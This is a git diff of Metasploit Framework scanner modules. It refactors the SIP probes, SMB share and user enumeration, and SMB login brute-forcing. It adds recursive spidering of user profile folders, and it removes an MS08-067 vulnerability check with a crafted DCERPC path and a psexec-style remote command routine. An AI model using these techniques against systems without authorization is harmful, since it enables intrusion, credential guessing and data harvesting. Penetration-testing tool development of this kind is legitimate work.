batch.each do |ip| - data = create_probe(ip) - - begin - udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.01) and r[1]) - parse_reply(r) - end - end - - idx += 1 - end - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - ensure - udp_sock.close if udp_sock - end + def scan_host(ip) + scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT']) end - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - resp = pkt[0].split(/\s+/)[1] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(pkt[0] =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(pkt[0] =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(pkt[0] =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => pkt[1], - :type => 'sip_useragent', - :data => agent - ) - end + def scanner_process(data, shost, _) + report_response(data, shost, 'udp') end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['CPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Content-Length: 0\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - end - - end diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index d4fb1f0b56..581283c74e 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -1,15 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), Opt::RPORT(5060) ], self.class) end # Operate on a single system at a time def run_host(ip) - begin - idx = 0 - connect - sock.put(create_probe(ip)) + sock.put(create_probe(ip, 'tcp')) res = sock.get_once(-1, 5) - parse_reply(res) if res - + report_response(res, rhost, 'tcp') if res rescue ::Interrupt - raise $! + raise $ERROR_INFO ensure disconnect end end - - # - # The response parser - # - def parse_reply(resp) - - rcode = resp.split(/\s+/)[0] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(resp =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(resp =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(resp =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(resp =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => rhost, - :type => 'sip_useragent', - :data => agent - ) - end - end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['RPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - data << "Content-Length: 0\r\n" - data << "\r\n" - data - end - - end diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb index d1b262b2f3..590b4c3a46 100644 --- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb +++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/ms08_067_check.rb b/modules/auxiliary/scanner/smb/ms08_067_check.rb deleted file mode 100644 index 34eb524d3a..0000000000 --- a/modules/auxiliary/scanner/smb/ms08_067_check.rb +++ /dev/null @@ -1,120 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require "msf/core" -require 'msf/core/module/deprecated' - -class Metasploit4 < Msf::Auxiliary - - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - deprecated Date.new(2014, 2, 26), "exploit/windows/smb/ms08_067_netapi" - - def initialize(info = {}) - super(update_info(info, - 'Name' => "MS08-067 Scanner", - 'Description' => %q{ - This module uses the check in ms08_067_netapi to scan for MS08-067. - }, - 'Author' => [ - "hdm", # with tons of input/help/testing from the community - "Brett Moore ", - "frank2 ", # check() detection - "jduck", # XP SP2/SP3 AlwaysOn DEP bypass - "sho-luv", # Original module - "wvu" # Refactor and cleanup - ], - 'References' => [ - ["CVE", "2008-4250"], - ["OSVDB", "49243"], - ["MSB", "MS08-067"], - # If this vulnerability is found, ms08-67 is exposed as well - ["URL", "http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos"] - ], - 'License' => MSF_LICENSE - )) - - register_options([ - OptString.new("SMBPIPE", [true, "The pipe name to use (BROWSER, SRVSVC)", "BROWSER"]) - ], self.class) - end - - def run_host(ip) - case check_vuln - when Msf::Exploit::CheckCode::Vulnerable - print_good("#{ip}:#{rport} - MS08-067 VULNERABLE") - report_vuln({ - :host => ip, - :name => "MS08-067", - :info => "Vulnerability in Server service could allow remote code execution", - :refs => self.references - }) - when Msf::Exploit::CheckCode::Safe - vprint_status("#{ip}:#{rport} - MS08-067 SAFE") - when Msf::Exploit::CheckCode::Unknown - vprint_status("#{ip}:#{rport} - MS08-067 UNKNOWN") - end - end - - def check_vuln - begin - connect() - smb_login() - rescue Rex::Proto::SMB::Exceptions::LoginError - return Msf::Exploit::CheckCode::Unknown - end - - # - # Build the malicious path name - # 5b878ae7 "db @eax;g" - prefix = "\\" - path = - "\x00\\\x00/"*0x10 + - Rex::Text.to_unicode("\\") + - Rex::Text.to_unicode("R7") + - Rex::Text.to_unicode("\\..\\..\\") + - Rex::Text.to_unicode("R7") + - "\x00"*2 - - server = Rex::Text.rand_text_alpha(rand(8)+1).upcase - - handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] - ) - - begin - # Samba doesn't have this handle and returns an ErrorCode - dcerpc_bind(handle) - rescue Rex::Proto::SMB::Exceptions::ErrorCode - return Msf::Exploit::CheckCode::Safe - end - - stub = - NDR.uwstring(server) + - NDR.UnicodeConformantVaryingStringPreBuilt(path) + - NDR.long(8) + - NDR.wstring(prefix) + - NDR.long(4097) + - NDR.long(0) - - resp = dcerpc.call(0x1f, stub) - error = resp[4,4].unpack("V")[0] - - # Cleanup - simple.client.close - simple.client.tree_disconnect - disconnect - - if (error == 0x0052005c) # \R :) - return Msf::Exploit::CheckCode::Vulnerable - else - return Msf::Exploit::CheckCode::Safe - end - end - -end diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index 50b4666f0b..e7d85feaaa 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index ea0fac20c2..fe272d4f3d 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index ad9d57319b..cecd4833cc 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -7,11 +7,9 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -49,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - def peer - return "#{rhost}:#{rport}" - end - # This is the main controller function def run_host(ip) cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe" @@ -218,124 +212,4 @@ class Metasploit3 < Msf::Auxiliary end end - # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! - # Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater - def psexec(command) - - simple.connect("IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("IPC$") - return true - end end diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index 17153dbd56..b80b598f28 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index 42d86801f2..da13a91f6d 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,8 @@ class Metasploit3 < Msf::Auxiliary 'hdm', 'nebulus', 'sinn3r', - 'r3dy' + 'r3dy', + 'altonjx' ], 'License' => MSF_LICENSE, 'DefaultOptions' => @@ -44,7 +45,11 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptBool.new('DIR_SHARE', [true, 'Show all the folders and files', false ]), + OptBool.new('SpiderShares', [false, 'Spider shares recursively', false]), + OptBool.new('ShowFiles', [true, 'Show detailed information when spidering', false]), + OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]), + OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]), + OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]), OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ]) ], self.class) @@ -75,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary t.strftime("%m-%d-%Y %H:%M:%S") end - def eval_host(ip, share) + def eval_host(ip, share, subdir = "") read = write = false # srvsvc adds a null byte that needs to be removed @@ -132,7 +137,7 @@ class Metasploit3 < Msf::Auxiliary return read,write,msg,nil if skip - rfd = self.simple.client.find_first("\\") + rfd = self.simple.client.find_first("#{subdir}\\*") read = true if rfd != nil # Test writable @@ -183,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if e.error_code == 0xC00000BB vprint_error("#{ip}:#{rport} - Got 0xC00000BB while enumerating shares, switching to srvsvc...") - datastore['USE_SRVSVC_ONLY'] = true # Make sure the module is aware of this state + @srvsvc = true # Make sure the module is aware of this state return srvsvc_netshareenum(ip) end end @@ -276,67 +281,157 @@ class Metasploit3 < Msf::Auxiliary shares end + def get_user_dirs(ip, share, base, sub_dirs) + dirs = [] + usernames = [] + + begin + read,write,type,files = eval_host(ip, share, base) + # files or type could return nil due to various conditions + return dirs if files.nil? + files.each do |f| + if f[0] != "." and f[0] != ".." + usernames.push(f[0]) + end + end + usernames.each do |username| + sub_dirs.each do |sub_dir| + dirs.push("#{base}\\#{username}\\#{sub_dir}") + end + end + return dirs + rescue + return dirs + end + end + + def profile_options(ip, share) + old_dirs = ['My Documents','Desktop'] + new_dirs = ['Desktop','Documents','Downloads','Music','Pictures','Videos'] + + dirs = get_user_dirs(ip, share, "Documents and Settings", old_dirs) + if dirs.blank? + dirs = get_user_dirs(ip, share, "Users", new_dirs) + end + return dirs + end + def get_files_info(ip, rport, shares, info) read = false write = false + # Creating a separate file for each IP address's results. + detailed_tbl = Rex::Ui::Text::Table.new( + 'Header' => "Spidered results for #{ip}.", + 'Indent' => 1, + 'Columns' => [ 'IP Address', 'Type', 'Share', 'Path', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] + ) + + logdata = "" + list = shares.collect {|e| e[0]} list.each do |x| - read,write,type,files = eval_host(ip, x) - if files and (read or write) - header = "#{ip}:#{rport}" - if simple.client.default_domain and simple.client.default_name - header << " \\\\#{simple.client.default_domain}" - end - header << "\\#{simple.client.default_name}\\#{x}" if simple.client.default_name - header << " (#{type})" if type - header << " Readable" if read - header << " Writable" if write - - tbl = Rex::Ui::Text::Table.new( - 'Header' => header, - 'Indent' => 1, - 'Columns' => [ 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] - ) - - f_types = { - 1 => 'RO', 2 => 'HIDDEN', 4 => 'SYS', 8 => 'VOL', - 16 => 'DIR', 32 => 'ARC', 64 => 'DEV', 128 => 'FILE' - } - - files.each do |file| - if file[0] and file[0] != '.' and file[0] != '..' - info = file[1]['info'] - fa = f_types[file[1]['attr']] # Item type - fname = file[0] # Filename - tcr = to_unix_time(info[3], info[2]) # Created - tac = to_unix_time(info[5], info[4]) # Accessed - twr = to_unix_time(info[7], info[6]) # Written - tch = to_unix_time(info[9], info[8]) # Changed - sz = info[12] + info[13] # Size - - # Filename is too long for the UI table, cut it. - fname = "#{fname[0, 35]}..." if fname.length > 35 - - tbl << [fa || 'Unknown', fname, tcr, tac, twr, tch, sz] + x = x.strip + if x == "ADMIN$" or x == "IPC$" + next + end + if not datastore['ShowFiles'] + print_status("#{ip}:#{rport} - Spidering #{x}.") + end + subdirs = [""] + if x.strip() == "C$" and datastore['SpiderProfiles'] + subdirs = profile_options(ip, x) + end + while subdirs.length > 0 + depth = subdirs[0].count("\\") + if datastore['SpiderProfiles'] and x == "C$" + if depth-2 > datastore['MaxDepth'] + subdirs.shift + next + end + else + if depth > datastore['MaxDepth'] + subdirs.shift + next end end + read,write,type,files = eval_host(ip, x, subdirs[0]) + if files and (read or write) + if files.length < 3 + subdirs.shift + next + end + header = "#{ip}:#{rport}" + if simple.client.default_domain and simple.client.default_name + header << " \\\\#{simple.client.default_domain}" + end + header << "\\#{x.sub("C$","C$\\")}" if simple.client.default_name + header << subdirs[0] - print_good(tbl.to_s) - unless tbl.rows.empty? - p = store_loot('smb.shares', 'text/csv', ip, tbl.to_csv) - print_good("#{x} info saved in: #{p.to_s}") + pretty_tbl = Rex::Ui::Text::Table.new( + 'Header' => header, + 'Indent' => 1, + 'Columns' => [ 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] + ) + + f_types = { + 1 => 'RO', 2 => 'HIDDEN', 4 => 'SYS', 8 => 'VOL', + 16 => 'DIR', 32 => 'ARC', 64 => 'DEV', 128 => 'FILE' + } + + files.each do |file| + if file[0] and file[0] != '.' and file[0] != '..' + info = file[1]['info'] + fa = f_types[file[1]['attr']] # Item type + fname = file[0] # Filename + tcr = to_unix_time(info[3], info[2]) # Created + tac = to_unix_time(info[5], info[4]) # Accessed + twr = to_unix_time(info[7], info[6]) # Written + tch = to_unix_time(info[9], info[8]) # Changed + sz = info[12] + info[13] # Size + + # Filename is too long for the UI table, cut it. + fname = "#{fname[0, 35]}..." if fname.length > 35 + + # Add subdirectories to list to use if SpiderShare is enabled. + if fa == "DIR" or (fa == nil and sz == 0) + subdirs.push(subdirs[0] + "\\" + fname) + end + + pretty_tbl << [fa || 'Unknown', fname, tcr, tac, twr, tch, sz] + detailed_tbl << ["#{ip}", fa || 'Unknown', "#{x}", subdirs[0] + "\\", fname, tcr, tac, twr, tch, sz] + logdata << "#{ip}\\#{x.sub("C$","C$\\")}#{subdirs[0]}\\#{fname}\n" + + end + end + print_good(pretty_tbl.to_s) if datastore['ShowFiles'] end + subdirs.shift + end + print_status("#{ip}:#{rport} - Spider #{x} complete.") unless datastore['ShowFiles'] == true + end + unless detailed_tbl.rows.empty? + if datastore['LogSpider'] == '1' + p = store_loot('smb.enumshares', 'text/csv', ip, detailed_tbl.to_csv) + print_good("#{ip} - info saved in: #{p.to_s}") + elsif datastore['LogSpider'] == '2' + p = store_loot('smb.enumshares', 'text/plain', ip, detailed_tbl) + print_good("#{ip} - info saved in: #{p.to_s}") + elsif datastore['LogSpider'] == '3' + p = store_loot('smb.enumshares', 'text/plain', ip, logdata) + print_good("#{ip} - info saved in: #{p.to_s}") end end end - def cleanup - datastore['RPORT'] = @rport - datastore['SMBDirect'] = @smb_redirect - datastore['USE_SRVSVC_ONLY'] = @srvsvc + def rport + @rport || datastore['RPORT'] end + # Overrides the one in smb.rb + def smb_direct + @smb_redirect || datastore['SMBDirect'] + end def run_host(ip) @rport = datastore['RPORT'] @@ -345,13 +440,13 @@ class Metasploit3 < Msf::Auxiliary shares = [] [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smb_redirect = info[1] begin connect smb_login - if datastore['USE_SRVSVC_ONLY'] + if @srvsvc shares = srvsvc_netshareenum(ip) else shares = lanman_netshareenum(ip, rport, info) @@ -363,7 +458,7 @@ class Metasploit3 < Msf::Auxiliary if shares.empty? print_status("#{ip}:#{rport} - No shares collected") else - shares_info = shares.map{|x| "#{ip}: #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") + shares_info = shares.map{|x| "#{ip}:#{rport} - #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") shares_info.split(", ").each { |share| print_good share } @@ -376,7 +471,7 @@ class Metasploit3 < Msf::Auxiliary :update => :unique_data ) - if datastore['DIR_SHARE'] + if datastore['SpiderShares'] get_files_info(ip, rport, shares, info) end @@ -414,3 +509,4 @@ class Metasploit3 < Msf::Auxiliary end end end + diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index bef9a6374d..4f06379e47 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,6 +33,14 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RPORT', 'RHOST') end + def rport + @rport || super + end + + def smb_direct + @smbdirect || super + end + # Locate an available SMB PIPE for the specified service def smb_find_dcerpc_pipe(uuid, vers, pipes) found_pipe = nil @@ -132,8 +140,8 @@ class Metasploit3 < Msf::Auxiliary [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] sam_pipe = nil sam_handle = nil @@ -291,7 +299,7 @@ class Metasploit3 < Msf::Auxiliary report_note( :host => ip, :proto => 'tcp', - :port => datastore['RPORT'], + :port => rport, :type => 'smb.domain.enumusers', :data => domains[domain] ) diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 7e3f889f3b..3726abe538 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary return value,idx end - def parse_NetWkstaEnumUsersInfo(resp) + def parse_net_wksta_enum_users_info(resp) accounts = [ Hash.new() ] #print_debug resp[0,20].unpack("H*") @@ -88,12 +88,20 @@ class Metasploit3 < Msf::Auxiliary accounts end + def rport + @rport || datastore['RPORT'] + end + + def smb_direct + @smbdirect || datastore['SMBDirect'] + end + def run_host(ip) [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] begin connect() @@ -122,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil - accounts = parse_NetWkstaEnumUsersInfo(resp) + accounts = parse_net_wksta_enum_users_info(resp) accounts.shift if datastore['VERBOSE'] diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 738609e72b..3e7b47f504 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -15,8 +17,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - attr_reader :accepts_bogus_domains - def proto 'smb' end @@ -31,8 +31,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'tebo ', # Original - 'Ben Campbell ' # Refactoring + 'tebo ', # Original + 'Ben Campbell', # Refactoring + 'Brandon McCann "zeknox" ', # admin check + 'Tom Sellers ' # admin check/bug fix ], 'References' => [ @@ -48,29 +50,16 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RHOST','USERNAME','PASSWORD') - @accepts_guest_logins = {} - - @correct_credentials_status_codes = [ - "STATUS_INVALID_LOGON_HOURS", - "STATUS_INVALID_WORKSTATION", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_ACCOUNT_EXPIRED", - "STATUS_ACCOUNT_DISABLED", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_PASSWORD_EXPIRED", - "STATUS_PASSWORD_MUST_CHANGE", - "STATUS_LOGON_TYPE_NOT_GRANTED" - ] - # These are normally advanced options, but for this module they have a # more active role, so make them regular options. register_options( [ + Opt::Proxies, OptString.new('SMBPass', [ false, "SMB Password" ]), OptString.new('SMBUser', [ false, "SMB Username" ]), - OptString.new('SMBDomain', [ false, "SMB Domain", '']), - OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), - OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]) + OptString.new('SMBDomain', [ false, "SMB Domain", '' ]), + OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), + OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]) ], self.class) end @@ -80,219 +69,148 @@ class Metasploit3 < Msf::Auxiliary domain = datastore['SMBDomain'] || "" - if accepts_bogus_logins?(domain) - print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.") - return - end + @scanner = Metasploit::Framework::LoginScanner::SMB.new( + host: ip, + port: rport, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) - unless datastore['RECORD_GUEST'] - if accepts_guest_logins?(domain) - print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.") + bogus_result = @scanner.attempt_bogus_login(domain) + if bogus_result.success? + if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + print_status("#{ip} - This system allows guest sessions with any credentials") + else + print_error("#{ip} - This system accepts authentication with any credentials, brute force is ineffective.") + return end end - begin - each_user_pass do |user, pass| - result = try_user_pass(domain, user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: 